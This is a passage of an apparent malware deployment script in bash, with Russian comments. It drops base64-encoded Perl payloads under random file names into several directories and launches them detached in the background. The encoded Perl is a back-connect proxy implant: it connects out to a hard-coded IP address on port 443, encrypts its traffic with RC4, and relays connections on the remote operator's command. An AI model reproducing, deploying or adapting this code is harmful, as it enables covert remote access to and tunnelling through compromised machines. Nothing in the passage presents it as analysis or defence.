UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #36 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #36 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 37 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xODUnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw 